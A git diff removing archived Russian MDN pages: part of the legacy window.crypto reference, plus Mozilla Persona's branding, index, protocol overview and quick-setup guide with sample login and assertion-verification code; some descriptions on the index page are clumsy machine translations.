-PKCS11_DISABLE_FLAG = 0x1&lt;&lt;30; //tell Mozilla to disable this slot by default
-</pre>
-
-<h4 id="Cipher_flags">Cipher flags</h4>
-
-<pre class="eval">Reserved
-</pre>
-
-<p>Important for CryptoMechanismFlags</p>
-
-<p>0x1&lt;&lt;11, 0x1&lt;&lt;12, ... , 0x1&lt;&lt;26, 0x1&lt;&lt;29, and 0x1&lt;&lt;31 are reserved for internal use in Mozilla. Therefore, these bits should always be set to 0; otherwise, Mozilla might exhibit unpredictable behavior.</p>
-
-<p>Important for CipherFlags</p>
-
-<p>All values are reserved for internal use in Mozilla. Therefore, this flag should always be set to 0; otherwise, Mozilla might exhibit unpredictable behavior.</p>
-
-<p>Example of CryptoMechanismFlags and CipherFlags</p>
-
-<pre class="eval">pkcs11MechanismFlags = PKCS11_MECH_DSA_FLAG | PKCS11_MECH_SKIPJACK_FLAG | PKCS11_MECH_RANDOM_FLAG;
-pkcs11CipherFlags = 0;
-</pre>
-
-<p>Return Values</p>
-
-<pre class="eval">JS_OK_ADD_MODULE = 3 // Successfully added a module
-JS_ERR_OTHER = -1 // Errors other than the following
-JS_ERR_USER_CANCEL_ACTION = -2 // User aborted an action
-JS_ERR_INCORRECT_NUM_OF_ARGUMENTS = -3 // Calling a method w/ incorrect # of
- // arguments
-JS_ERR_ADD_MODULE = -5 // Error adding a module
-JS_ERR_BAD_MODULE_NAME = -6 // The module name is invalid
-JS_ERR_ADD_MODULE_DUPLICATE = -10 // The module being installed has the
- // same name as one of the modules that
- // has already been installed
-</pre>
-
-<h4 id="Miscellaneous" name="Miscellaneous">Miscellaneous</h4>
-
-<pre class="eval">DOMString random(in long numBytes);
-</pre>
-
-<p>{{ unimplemented_inline() }}You can use <span><a href="/en/DOM/window.crypto.getRandomValues" title="window.crypto.getRandomValues">window.crypto.getRandomValues</a> instead.</span></p>
-
-<pre class="eval">void logout();
-</pre>
-
-<p>Logs the user out of all the cryptographic tokens. The next private operation on any token will require the user password again. The SSL session cache is also cleared (from Firefox 1.5 upward).</p>
-
-<p>This means the master password will be requested the next time a saved password will be accessed after this function is called. This also means the SSL client authentication state will be erased for SSL sites with client authentication, and a client certificate prompt will appear again the next time the user connects to the site.</p>
-
-<div class="note">
-<p>Note: This function provides a convenient way to erase the SSL session state at the browser level, but in order to really guarantee that the state is erased, it is more secure to do it on the server side whenever possible.</p>
-</div>
-
-<pre class="eval">void disableRightClick();
-</pre>
-
-<p>{{ unimplemented_inline() }}</p>
diff --git a/files/ru/archive/mozilla/persona/branding/index.html b/files/ru/archive/mozilla/persona/branding/index.html
deleted file mode 100644
index fdb5c58213..0000000000
--- a/files/ru/archive/mozilla/persona/branding/index.html
+++ /dev/null
@@ -1,42 +0,0 @@
----
-title: Ресурсы
-slug: Archive/Mozilla/Persona/branding
-translation_of: Archive/Mozilla/Persona/User_interface_guidelines
----
-<h2 id="Вход_с_кнопками_Persona">Вход с кнопками Persona</h2>
-<h3 id="Изображения">Изображения</h3>
-<p>Кнопки входа есть в 3 вариантах, каждый в 3 цветах (изображения; англ. текст):</p>
-<table>
- <thead>
- <tr>
- <th scope="row"> </th>
- <th scope="col">Sign in with your Email</th>
- <th scope="col">Sign in with Persona</th>
- <th scope="col">Sign in</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <th scope="row">Черный</th>
- <td><img alt="" src="/files/3955/email_sign_in_black.png" style="width: 202px; height: 25px;"></td>
- <td><img alt="" src="/files/3961/persona_sign_in_black.png" style="width: 185px; height: 25px;"></td>
- <td><img alt="" src="/files/3967/plain_sign_in_black.png" style="width: 95px; height: 25px;"></td>
- </tr>
- <tr>
- <th scope="row">Синий</th>
- <td><img alt="" src="/files/3957/email_sign_in_blue.png" style="width: 202px; height: 25px;"></td>
- <td><img alt="" src="/files/3963/persona_sign_in_blue.png" style="width: 185px; height: 25px;"></td>
- <td><img alt="" src="/files/3969/plain_sign_in_blue.png" style="width: 95px; height: 25px;"></td>
- </tr>
- <tr>
- <th scope="row">Красный</th>
- <td><img alt="" src="/files/3959/email_sign_in_red.png" style="width: 202px; height: 25px;"></td>
- <td><img alt="" src="/files/3965/persona_sign_in_red.png" style="width: 185px; height: 25px;"></td>
- <td><img alt="" src="/files/3971/plain_sign_in_red.png" style="width: 95px; height: 25px;"></td>
- </tr>
- </tbody>
-</table>
-<h3 id="CSS">CSS</h3>
-<p><a href="http://sawyerhollenshead.com/" title="http://sawyerhollenshead.com/">Савье Холенсхед</a> создал набор прекрасных CSS кнопок. <a href="/files/3973/persona-css-buttons.zip" title="/files/3973/persona-css-buttons.zip">Скачать (.zip)</a></p>
-<h2 id="Подробне">Подробне</h2>
-<p>Вы можете найти больше информации о дизайне Persona в <a href="http://people.mozilla.org/~smartell/persona/" title="http://people.mozilla.org/~smartell/persona/">учебнике стиля</a>.</p>
diff --git a/files/ru/archive/mozilla/persona/index.html b/files/ru/archive/mozilla/persona/index.html
deleted file mode 100644
index b391407c7c..0000000000
--- a/files/ru/archive/mozilla/persona/index.html
+++ /dev/null
@@ -1,138 +0,0 @@
----
-title: Персона
-slug: Archive/Mozilla/Persona
-tags:
- - Obsolete
- - Persona
-translation_of: Archive/Mozilla/Persona
----
-<div class="callout-box">
-<p><strong>Оставайтесь на связи или получите помощь!</strong></p>
-
-<p>Подпишитесь на <a href="http://identity.mozilla.com/" title="http://identity.mozilla.com/">наш блог</a>, присоединяйтесь к <a href="https://lists.mozilla.org/listinfo/dev-identity" title="https://lists.mozilla.org/listinfo/dev-identity">нашей рассылке</a>, или найдите нас в <a class="link-irc" href="irc://irc.mozilla.org/identity" title="IRC: //irc.mozilla.org/identity">#identity</a> в системе <a class="link-https" href="https://wiki.mozilla.org/IRC" title="https://wiki.mozilla.org/IRC">IRC</a>.</p>
-</div>
-
-<p></p><div class="warning"> <p>On November 30th, 2016, Mozilla shut down the persona.org services. Persona.org and related domains will soon be taken offline.</p> <p>For more information, see this guide to migrating your site away from Persona:</p> <p><a href="https://wiki.mozilla.org/Identity/Persona_Shutdown_Guidelines_for_Reliers">https://wiki.mozilla.org/Identity/Persona_Shutdown_Guidelines_for_Reliers</a></p></div><p></p>
-
-<p><a href="https://login.persona.org/">Mozilla Persona</a> - это полностью децентрализированная и безопасная система авторизации на сайтах, основанная на открытом протоколе BrowserID. Чтобы быть уверенным, что Persona работает везде и у всех, Mozilla в настоящее время работает над небольшим набором <a href="https://developer.mozilla.org/en-US/docs/Persona/Bootstrapping_Persona" title="https://developer.mozilla.org/en-US/docs/Persona/Bootstrapping_Persona">дополнительных централизованных сервисов</a>, относящихся к системе Persona.</p>
-
-<p>Почему вам стоит использовать Persona на вашем сайте?</p>
-
-<ol>
- <li><strong>Persona полностью избавляет от необходимости локального пароля на сайте</strong>, освобождая пользователей и сайты от работ по созданию, управлению и безопасному хранению паролей. Пользователю требуется зарегистрироваться один раз на Persona и он сможет заходить на <strong>любые совместимые сайты </strong>не затрачивая время на регистрацию.</li>
- <li><strong>Persona проста в использовании.</strong> Всего двумя кликами пользователь службы Persona может осуществить вход на сайт, вроде <a href="http://voo.st/">Voost</a>, минуя проблемы создания учётной записи.</li>
- <li><strong>Persona проста в установке</strong><strong>. </strong>Разработчики могут добавить поддержку Persona к сайту за вечер.</li>
- <li>Самое же лучшее в этом то, что <strong>нет жёсткой привязки</strong>. Разработчики получают проверенный адрес почты для каждого из пользователей, а пользователи могут использовать любой адрес почты с Persona. </li>
-</ol>
-
-<p>И еще, Persona только в начале своего пути, чтобы стать еще лучше: она построена на <strong>открытом, децентрализованом протоколе</strong> BrowserID<strong>. </strong>И когда разработчики популярных браузеров реализуют BrowserID, <strong>не надо будет полагаться на Mozilla для входа.</strong></p>
-
-<p>Читайте дальше, чтобы приступить к изучению!</p>
-
-<div class="note"><strong>Замечание:</strong> Persona находится в активной разработке. Посетите <a class="external" href="http://identity.mozilla.com/" title="http://identity.mozilla.com/">наш блог</a>, чтобы узнать о новых возожностях, или же подпишитесь на <a class="link-https" href="https://lists.mozilla.org/listinfo/dev-identity" title="https://lists.mozilla.org/listinfo/dev-identity">нашу рассылку</a> для организации обратной связи! </div>
-
-<h2 id="Использование_Persona_на_вашем_сайте">Использование Persona на вашем сайте</h2>
-
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h3 id="Приступая_к_работе">Приступая к работе</h3>
-
- <dl>
- <dt><a href="/ru/docs/Persona/Why_Persona" title="EN / BrowserID / Why_BrowserID">Почему Persona?</a></dt>
- <dd>Узнайте о причинах поддержать Persona на Вашем сайте, и сравниваете её с другими системами аутентификации.</dd>
- <dt><a href="/ru/Persona/Quick_Setup" title="BrowserID / Быстрая настройка">Быстрая установка</a></dt>
- <dd>Быстрый обзор, показывающий как добавить Persona на Ваш сайт.</dd>
- </dl>
- </td>
- <td>
- <h3 id="Справка_по_Persona_API">Справка по Persona API</h3>
-
- <dl>
- <dt><a href="/en/DOM/navigator.id" title="navigator.id"><font><font>Справка по navigator.id API</font></font></a></dt>
- <dd>Ссылка для объекта navigator.id, который веб-разработчики могут использовать, для интеграции Persona с сайтами.</dd>
- <dt><a href="/en/Persona/Remote_Verification_API" title="EN / BrowserID / Remote_Verification_API"><font><font>Ссылка API Проверка</font></font></a></dt>
- <dd><font><font>Ссылка для дистанционного контроля API размещенную на </font></font><code><font><font>https://verifier.login.persona.org/verify</font></font></code><font><font> .</font></font></dd>
- </dl>
- </td>
- </tr>
- <tr>
- <td>
- <h3 id="Гиды"><font><font>Гиды</font></font></h3>
-
- <dl>
- <dt><a href="/en/Persona/Security_Considerations" title="Соображения BrowserID / Безопасность"><font><font>Соображения безопасности</font></font></a></dt>
- <dd><font><font>Практика и методы, чтобы убедиться, развертывание Персона является безопасным.</font></font></dd>
- <dt>Браузерная совместимость</dt>
- <dd>Узанйте какие именно браузеры поддерживает Persona </dd>
- <dt><font><font>Интернационализация</font></font></dt>
- <dd>Узнайте Persona работает с различными языками</dd>
- </dl>
- </td>
- <td>
- <h3 id="Reswrısı"><font><font>Reswrısı</font></font></h3>
-
- <dl>
- <dt>Библиотеки и плагины</dt>
- <dd>Найдите встраимывые библиотеки для ваших любимы языков и web-фрейморков, блогов или CMS</dd>
- <dt><a class="link-https" href="https://github.com/mozilla/browserid-cookbook" title="https://github.com/mozilla/browserid-cookbook"><font><font>Персона поваренной</font></font></a></dt>
- <dd>Примеры исходных кодов для сайтов Persona. Включая сниппеты в PHP, node.JS и других...</dd>
- <dt><a href="/en-US/docs/persona/branding" title="/ EN-US / документы / персона / брендинг"><font><font>Брендинг ресурсы</font></font></a></dt>
- <dd><font><font>Вход в кнопках и других графикой, чтобы помочь настоящий Persona для пользователей.</font></font></dd>
- </dl>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p> </p>
-
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h2 id="Информация_для_поставщиков_удостоверяющих_личность"><font><font>Информация для поставщиков, удостоверяющих личность</font></font></h2>
-
- <p><font><font>Если вы провайдер электронной почты или другой службы, удостоверяющий личность, обеспечивая, проверить ссылку ниже, чтобы узнать о становлении Поставщик Персона идентичности.</font></font></p>
-
- <dl>
- <dt><em><a href="/en-US/docs/Persona/Identity_Provider_Overview" title="IdP"><font><font>IdP Обзор</font></font></a></em></dt>
- <dd><font><font>Посмотреть высокий уровень Провайдеры Персона идентичности.</font></font></dd>
- <dt><em><a href="/en/Persona/Implementing_a_Persona_IdP" title="Руководство по внедрению персоной IdP"><font><font>Реализация IdP</font></font></a></em></dt>
- <dd><font><font>Подробное руководство по техническим деталям становится поставщика удостоверения.</font></font></dd>
- <dt><em><a href="/en-US/Persona/IdP_Development_tips" title="Советы для разработчиков"><font><font>Советы по развитию</font></font></a></em></dt>
- <dd><font><font>Набор советов и трюков полезных при разработке нового поставщика удостоверений.</font></font></dd>
- <dt><em><a href="/en-US/docs/Persona/.well-known-browserid" title="https://developer.mozilla.org/en-US/docs/Persona/.well-known-browserid"><font><font>.well известный / BrowserID</font></font></a></em></dt>
- <dd><font><font>Обзор структуры и цели </font></font><code><font><font>.well известный / BrowserID</font></font></code><font><font> файл, который удостоверений использовать для рекламы своей поддержке протокола.</font></font></dd>
- </dl>
- </td>
- <td>
- <h2 id="Персона_проекта"><font><font>Персона проекта</font></font></h2>
-
- <dl>
- <dt><em><a href="/en/Persona/Glossary" title="navigator.id"><font><font>Глоссарий</font></font></a></em></dt>
- <dd><font><font>BrowserID и Персона - терминология и определения.</font></font></dd>
- <dt><em><a href="/en/Persona/FAQ" title="EN / BrowserID / FAQ"><font><font>ЧАСТО ЗАДАВАЕМЫЕ ВОПРОСЫ</font></font></a></em></dt>
- <dd><font><font>Ответы на часто задаваемые вопросы.</font></font></dd>
- <dt><em><a href="/en/Persona/Protocol_Overview" title="Обзор BrowserID / протокол"><font><font>Обзор протокола</font></font></a></em></dt>
- <dd>Т<font><font>ехнический обзор основ протокола BrowserID.</font></font></dd>
- <dt><em><a href="/en/persona/Crypto" title="MDN"><font><font>Крипто-</font></font></a></em></dt>
- <dd><font><font>Взгляд на криптографические концепций Persona и BrowserID.</font></font></dd>
- <dt><em><a class="link-https" href="https://github.com/mozilla/id-specs/blob/master/browserid/index.md" title="https://github.com/mozilla/id-specs/blob/master/browserid/index.md"><font><font>Spec</font></font></a></em></dt>
- <dd><font><font>Глубокие технические детали можно найти <a href="https://github.com/mozilla/id-specs/blob/master/browserid/index.md">здесь</a>.</font></font></dd>
- <dt><em><a href="/Persona/Bootstrapping_Persona" title="EN / BrowserID / Bootstrapping_BrowserID"><font><font>Персона Сайт</font></font></a></em></dt>
- <dd><font><font>Чтобы Персона собирается, мы хостинг три услуги на </font></font><a class="link-https" href="https://login.persona.org" rel="freelink"><font><font>https://login.persona.org</font></font></a><font><font> : запасной провайдер идентификации, портативный осуществления <a href="/ru/docs/Web/API/Navigator/id" title="The BrowserID protocol defines a new id property on the window.navigator object, through which it exposes the BrowserID API, that is the IdentityManager intreface. This API has gone through several significant revisions. Each generation is listed separately below."><code>navigator.id</code></a> API, и удостоверение утверждение проверка сервис.</font></font></dd>
- <dt><em><font><font><a href="https://github.com/mozilla/browserid">Исходный код Persona</a></font></font></em></dt>
- <dd><font><font>Код  Persona находится в репозитории на GitHub. Патчи приветствуются!</font></font></dd>
- </dl>
- </td>
- </tr>
- </tbody>
-</table>
-
-<div class="toppageup" id="js-toppageup" style="display: none;">
-<div class="toppageup-link"><span>наверх</span></div>
-
-<div class="toppageup-add" id="js-toppageup-add"><span>в закладки</span></div>
-</div>
diff --git a/files/ru/archive/mozilla/persona/protocol_overview/index.html b/files/ru/archive/mozilla/persona/protocol_overview/index.html
deleted file mode 100644
index 0712e60be5..0000000000
--- a/files/ru/archive/mozilla/persona/protocol_overview/index.html
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: Protocol Overview
-slug: Archive/Mozilla/Persona/Protocol_Overview
-translation_of: Archive/Mozilla/Persona/Protocol_Overview
----
-<p>Persona is built on the BrowserID protocol. This page describes the BrowserID protocol at a high level.</p>
-<h2 id="Actors">Actors</h2>
-<p>The protocol involves three actors:</p>
-<ul>
- <li><strong>Users:</strong> The actual people that want to sign into websites using Persona.</li>
- <li><strong>Relying Parties (RPs): </strong>Websites that want to let users sign in using Persona.</li>
- <li><strong>Identity Providers (IdPs): </strong>Domains that can issue Persona-compatible identity certificates to their users.</li>
-</ul>
-<p>Persona and the BrowserID protocol use email addresses as identities, so it's natural for email providers to become IdPs.</p>
-<p>Mozilla operates a fallback IdP so that users can use any email address with Persona, even one with a specific domain that isn't an IdP itself.</p>
-<h2 id="Protocol_Steps">Protocol Steps</h2>
-<p>There are three distinct steps in the protocol:</p>
-<ol>
- <li>User Certificate Provisioning</li>
- <li>Assertion Generation</li>
- <li>Assertion Verification</li>
-</ol>
-<p>As a prerequisite, the user should have an active identity (email address) that they wish to use when logging in to websites. The protocol does not require that IdP-backed identities are SMTP-routable, but it does require that identities follow the <code>user@domain</code> format.</p>
-<h3 id="User_Certificate_Provisioning">User Certificate Provisioning</h3>
-<p>In order to sign into an RP, a user must be able to prove ownership of their preferred email address. The foundation of this proof is a cryptographically signed certificate from an IdP certifying the connection between a browser's user and a given identity within the IdP's domain.</p>
-<p>Because Persona uses standard <a href="http://en.wikipedia.org/wiki/Public-key_cryptography" title="http://en.wikipedia.org/wiki/Public-key_cryptography">public key cryptography</a> techniques, the user certificate is signed by the IdP's private key and contains:</p>
-<ul>
- <li>The user's email address.</li>
- <li>The user's public key for that address on that browser.</li>
- <li>The time that the certificate was issued.</li>
- <li>The time that the certificate expires.</li>
- <li>The IdP's domain name.</li>
-</ul>
-<p>The user's browser generates a different keypair for each of the user's email addresses, and these keypairs are not shared across browsers. Thus, a user must obtain a fresh certificate whenever one expires, or whenever using a new browser or computer. Certificates must expire within 24 hours of being issued.</p>
-<p>When a user selects an identity to use when signing into an RP, the browser checks to see if it has a fresh user certificate for that address. If it does, this step is complete and the browser continues with the assertion generation step below. If the browser does not have a fresh certificate, it attempts to obtain one from the domain associated with the chosen identity.</p>
-<ol>
- <li>The browser fetches the <a href="/en-US/docs/Persona/.well-known-browserid" title="/en-US/docs/Persona/.well-known-browserid">/.well-known/browserid</a> support document over SSL from the identity's domain.</li>
- <li>Using information from the support document, the browser passes the user's email address and associated public key to the IdP and requests a signed certificate.</li>
- <li>If necessary, the user is asked to sign into the IdP before provisioning proceeds.</li>
- <li>The IdP creates, signs, and gives a user certificate to the user's browser.</li>
-</ol>
-<p>With the certificate in hand, the browser can continue with generating an identity assertion and signing into an RP.</p>
-<p><img src="/@api/deki/files/6043/=user-certificate-provisioning.png" alt="user-certificate-provisioning.png" class="internal default"></p>
-<h3 id="Assertion_Generation">Assertion Generation</h3>
-<p>The user certificate establishes a verifiable link between an email address and a public key. However, this is alone not enough to log into a website: the user still has to show their connection to the certificate by proving ownership of the private key.</p>
-<p>In order to prove ownership of a private key, the user's browser creates and signs a new document called an "identity assertion." It contains:</p>
-<ul>
- <li>The origin (scheme, domain, and port) of the RP that the user wants to sign into.</li>
- <li>An expiration time for the assertion, generally less than five minutes after it was created.</li>
-</ul>
-<p>The browser then presents both the user certificate and the identity assertion to the RP for verification.</p>
-<h3 id="Assertion_Verification">Assertion Verification</h3>
-<p>The combination of user certificate and identity assertion is sufficient to confirm a user's identity.</p>
-<p>First, the RP checks the domain and expiration time in the assertion. If the assertion is expired or intended for a different domain, it's rejected. This prevents malicious re-use of assertions.</p>
-<p>Second, the RP validates the signature on the assertion with the public key inside the user certificate. If the key and signature match, the RP is assured that the current user really does possess the key associated with the certificate.</p>
-<p>Last, the RP fetches the IdP's public key from its <a href="/en-US/docs/Persona/.well-known-browserid" title="/en-US/docs/Persona/.well-known-browserid">/.well-known/browserid</a> document and verifies that it matches the signature on the user certificate. If it does, then the RP can be certain that the certificate really was issued by the domain in question.</p>
-<p>Once verifying that this is a current login attempt for the proper RP, that the user certificate matches the current user, and that the user certificate is legitimate, the RP is done and can authenticate the user as the identity contained in the certificate.</p>
-<p><img src="/@api/deki/files/6042/=assertion-generation-and-verify.png" alt="assertion-generation-and-verify.png" class="internal default"></p>
-<h2 id="The_Persona_Fallback_IdP">The Persona Fallback IdP</h2>
-<p>What if a user's email provider doesn't support Persona? In that case, the provisioning step would fail. By convention, the user's browser handles this by asking a trusted third party, <a href="https://login.persona.org/" title="https://login.persona.org/">https://login.persona.org/</a>, to certify the user's identity on behalf of the unsupported domain. After demonstrating ownership of the address, the user would then receive a certificate issued by the fallback IdP, <code>login.persona.org</code>, rather than the identity's domain.</p>
-<p>RPs follow a similar process when validating the assertion: the RP would ultimately request the fallback IdP's public key in order to verify the certificate.</p>
diff --git a/files/ru/archive/mozilla/persona/quick_setup/index.html b/files/ru/archive/mozilla/persona/quick_setup/index.html
deleted file mode 100644
index 9b359e200c..0000000000
--- a/files/ru/archive/mozilla/persona/quick_setup/index.html
+++ /dev/null
@@ -1,140 +0,0 @@
----
-title: Быстрая установка
-slug: Archive/Mozilla/Persona/Quick_Setup
-tags:
- - Persona
- - Использование
- - Настройка
- - Пример
- - Установка
-translation_of: Archive/Mozilla/Persona/Quick_Setup
----
-<p>Добавление системы авторизации Persona на ваш сайт займет всего 5 шагов:</p>
-<ol>
- <li>Подключите ЯваСкрипт-библиотеку на ваши страницы.</li>
- <li>Добавьте кнопки «Вход» и «Выход».</li>
- <li>Отслеживайте события входа и выхода.</li>
- <li>Проверьте учетные данные пользователя.</li>
- <li>Ознакомьтесь с лучшими примерами.</li>
-</ol>
-<p>Установка и настройка займёт у вас всего один вечер, но если вы собираетесь использовать Persona на вашем сайте, <em>пожалуйста</em>, прежде всего уделите минутку и подпишитесь на рассылку <a href="https://mail.mozilla.org/listinfo/persona-notices">Заметки о Persona</a>. Там крайне мало сообщений, она используется только для анонсов изменений или проблем с безопасностью, которые могут неблагоприятно сказаться на работе вашего сайта.</p>
-<h2 id="Шаг_1_Подключение_библиотеки">Шаг 1: Подключение библиотеки</h2>
-<p>Persona разработана так, чтобы быть независимой от обозревателя и хорошо работает во <a href="https://developer.mozilla.org/docs/persona/Browser_compatibility">всех основных настольных и мобильных обозревателях</a>. Это возможно благодаря межплатформенной библиотеке Persona, написанной на ЯваСкрипте. После того, как библиотека загружена на вашей странице, вам потребуются следующие функции Persona: ({{ domxref("navigator.id.watch()", "watch()") }}, {{ domxref("navigator.id.request()", "request()") }}, и {{ domxref("navigator.id.logout()", "logout()") }}), которые будут доступны в глобальном объекте <code>navigator.id</code>.</p>
-<p>Чтобы подключить ЯваСкрип-библиотеку Persona, поместите следующий код в головной ярлык head:</p>
-<pre class="brush: html;">&lt;script src="https://login.persona.org/include.js"&gt;&lt;/script&gt;
-</pre>
-<p>Вы должны подключить эту библиотеку, так как она создает функции {{ domxref("navigator.id") }}. Потому, что Persona еще находится в разработке, вы не должны самостоятельно изменять файл <code>include.js</code>.</p>
-<h2 id="Шаг_2_Добавление_кнопок_входа_и_выхода">Шаг 2: Добавление кнопок входа и выхода</h2>
-<p>Потому, что Persona создана как DOM API, Вы должны вызывать функции, когда пользователь нажимает на кнопки входа и выхода на Вашем сайте. Чтобы открыть окно входа через Persona, вызовите функцию {{ domxref("navigator.id.request()") }}. Для выхода вызовите {{ domxref("navigator.id.logout()") }}.</p>
-<p>Например:</p>
-<pre class="brush: js;">var signinLink = document.getElementById('signin');
-if (signinLink) {
- signinLink.onclick = function() { navigator.id.request(); };
-};
-
-var signoutLink = document.getElementById('signout');
-if (signoutLink) {
- signoutLink.onclick = function() { navigator.id.logout(); };
-};
-</pre>
-<p>Как выглядят эти кнопки? Посмотрите <a href="https://developer.mozilla.org/docs/persona/branding">эту страницу</a>, там найдете CSS и изображения!</p>
-<h2 id="Шаг_3_Отслеживание_событий_входа_и_выхода">Шаг 3: Отслеживание событий входа и выхода</h2>
-<p>Для работы Persona вы должны сообщить ей, что делать, когда пользователь осуществляет вход и выход. Для этого нужно вызвать функцию {{ domxref("navigator.id.watch()") }}, предоставив ей три параметра:</p>
-<ol>
- <li>
- <p><code>loggedInEmail</code> – почта текущего пользователя на сайте или <code>null</code>, если его нет. Это значение должно формироваться динамически во время создания страницы.</p>
- </li>
- <li>
- <p>Функцию, которую следует вызвать при входе пользователя – действие <code>onlogin</code>. Это функция должна принимать один параметр – "заявленный идентификатор", который должен быть проверен.</p>
- </li>
- <li>
- <p>Функцию, которую следует вызвать при выходе пользователя – действие <code>onlogout</code>. Эта функция работает без каких-либо параметров.</p>
- </li>
-</ol>
-<div class="note style-wrap">
- <p><strong>Замечание:</strong> Необходимо всегда указывать обе функции (для входа и выхода) – <code>onlogin</code> и <code>onlogout</code> при вызове {{ domxref("navigator.id.watch()") }}.</p>
-</div>
-<p>Например, если вы думаете что Иван выполнил вход на ваш сайт, вы должны сделать следующее:</p>
-<pre class="brush: js;">var currentUser = 'ivan@example.com';
-
-navigator.id.watch({
- loggedInEmail: currentUser,
- onlogin: function(assertion) {
- // Пользователь выполнил вход! В этом случае нужно:
- // 1. Отправить заявленный идентификатор в бекэнд вашего сайта (серверная часть, прим. переводчика) для проверки и создания сессии.
- // 2. Обновить интерфейс пользователя.
- $.ajax({
- type: 'POST',
- url: '/auth/login', // это URL путь на вашем сайте.
- data: {assertion: assertion},
- success: function(res, status, xhr) { window.location.reload(); },
- error: function(res, status, xhr) { alert("login failure" + res); }
- });
- },
- onlogout: function() {
- // Пользователь выполнил выход! В этом случае нужно:
- // Удалить сессию пользователя с помощью перенаправления или отправки запроса на бекэнд.
- $.ajax({
- type: 'POST',
- url: '/auth/logout', // это URL путь на вашем сайте.
- success: function(res, status, xhr) { window.location.reload(); },
- error: function(res, status, xhr) { alert("logout failure" + res); }
- });
- }
-});
-</pre>
-<p>В этом примере обе функции <code>onlogin</code> и <code>onlogout</code> отправляют асинхронные <code>POST</code> запросы к бекэнду вашего сайта. Бекэнд в свою очередь осуществляет процедуру входа и выхода пользователя, записывая или удаляя информацию в куки сессии. Далее, если пройдены все проверки, страница перезагружается, отображая новое состояние авторизации.</p>
-<p>Вы, конечно, можете использовать AJAX, чтобы реализовать всё без перезагрузки страницы или перенаправлений, однако это не входит в рамки данного учебника.</p>
-<p>Эту функцию <strong>обязательно</strong> вызывать на каждой странице, где есть кнопки входа или выхода. Чтобы ваши пользователи могли использовать такие возможности как автоматический вход или глобальный выход из системы, <strong>требуется</strong> вызывать эту функцию на каждой странице вашего сайта.</p>
-<h2 id="Шаг_4_Проверка_пользовательских_данных">Шаг 4: Проверка пользовательских данных</h2>
-<p>Вместо паролей Persona использует "заявленные идентификаторы", которые представляют из себя что-то вроде одноразовых паролей только для одного сайта, связанных с адресом электронной почты пользователя. Когда пользователь собирается осуществить вход, будет вызвана ваша функция <code>onlogin</code> с "заявкой" от пользователя. Прежде чем закончить процедуру входа вы должны проверить эту заявку.</p>
-<p><em>Крайне важно</em> осуществлять такую проверку на стороне сервера, но не с помощью ЯваСкрипт-кода, работающего в обозревателе пользователя, иначе её легко можно подделать. В следующем примере заявка передаётся на сервер методом <code>POST</code> на адрес <code>/api/login</code> с помощью вспомогательной функции jQuery <code>$.ajax()</code>.</p>
-<p>Как следует делать проверку на сервере при получении заявки? Самый простой способ – использовать службу, предоставляемую Mozilla. Просто отправьте <code>POST</code> запрос с заявкой на адрес <code>https://verifier.login.persona.org/verify</code> указав два параметра:</p>
-<ol>
- <li><code>assertion</code>: заявка-идентификатор, полученный от пользователя.</li>
- <li><code>audience</code>: Адрес хоста и порт вашего сайта. Это информация должна быть записана в вашем бекэнде, ни в коем случае не получайте эти данные из того, что было отправлено пользователем.</li>
-</ol>
-<p>Предположим, <code>example.com</code> – это адрес вашего сайта, вы сможете проверить заявку, используя командную строку:</p>
-<pre class="brush: bash;">$ curl -d "assertion=&lt;ASSERTION&gt;&amp;audience=https://example.com:443" "https://verifier.login.persona.org/verify"
-</pre>
-<p>Если она настоящая, в ответ вы получите примерно такой ответ в формате JSON:</p>
-<pre class="brush: js;">{
- "status": "okay",
- "email": "bob@eyedee.me",
- "audience": "https://example.com:443",
- "expires": 1308859352261,
- "issuer": "eyedee.me"
-}
-</pre>
-<p>Вы можете более подробно ознакомиться со службой проверки, прочитав статью <a href="https://developer.mozilla.org/en-US/docs/BrowserID/Remote_Verification_API">API Проверочной Службы</a>. Примерная реализация <code>/api/login</code>, с использованием <a href="http://python.org/">Питона</a>, веб-фреймворка <a href="http://flask.pocoo.org/">Flask</a>, и HTTP-библиотеки <a href="http://python-requests.org">Requests</a>, может выглядеть так:</p>
-<pre class="brush: python;">@app.route('/api/login', methods=['POST'])
-def login():
- # Запрос должен содержать заявку, которую нам нужно проверить
- if 'assertion' not in request.form:
- abort(400)
-
- # Отправляем заявку в службу проверки Mozilla.
- data = {'assertion': request.form['assertion'], 'audience': 'https://example.com:443'}
- resp = requests.post('https://verifier.login.persona.org/verify', data=data)
-
- # Получен ли от службы ответ?
- if resp.ok:
- # Разбираем ответ
- verification_data = json.loads(resp.content)
-
- # Проверяем, верна ли заявка?
- if verification_data['status'] == 'okay':
- # Осуществляем вход пользователя, устанавливая защищённую куки сессии
- session.update({'email': verification_data['email']})
- return resp.content
-
- # Что-то пошло не так! Отмена.
- abort(500)
-</pre>
-<p>Управление сессиями, вероятно, очень похоже на систему авторизации, которую вы уже используете. Первое основное отличие при проверке идентификатора пользователя в том, что вместо проверки пароля происходит проверка заявки. Второе большое отличие – проверка того, что адрес электронной почты пользователя корректный, путём передачи его в качестве параметра <code>loggedInEmail</code> функции {{ domxref("navigator.id.watch()") }}.</p>
-<p>Выход из системы прост: всё, что нужно – удалить куки сессии пользователя.</p>
-<h2 id="Шаг_5_Обзор_лучших_примеров">Шаг 5: Обзор лучших примеров</h2>
-<p>После того, как всё заработает и вы успешно сможете осуществлять вход и выход на своём сайте, вы можете уделить немного времени, чтобы ознакомиться с <a href="https://developer.mozilla.org/docs/BrowserID/Security_Considerations">лучшими примерами</a> безопасного и защищённого использования Persona.</p>
-<p>Возможно, вы захотите написать интеграционные тесты, которые симулируют вход и выход пользователя используя BrowserID, если вы делает сайт, готовый к запуску. Чтобы облегчить этот процесс c Selenium, обратите внимание на библиотеку <a href="https://github.com/mozilla/bidpom" title="https://github.com/mozilla/bidpom">bidpom</a>. Так же может оказаться полезным сайт <a href="http://personatestuser.org" title="http://personatestuser.org">personatestuser.org</a>.</p>
-<p>Ну и напоследок, не забудьте подписаться на рассылку <a href="https://mail.mozilla.org/listinfo/persona-notices">Заметки о Persona</a>, так вы всегда будете в курсе любых проблем безопасности, а также об обратно несовместимых изменениях в API Persona. Рассылка не будет обременять вас – она используется исключительно для объявлений изменений, которые могут неблагоприятно сказаться на вашем сайте.</p>
-<p> </p>
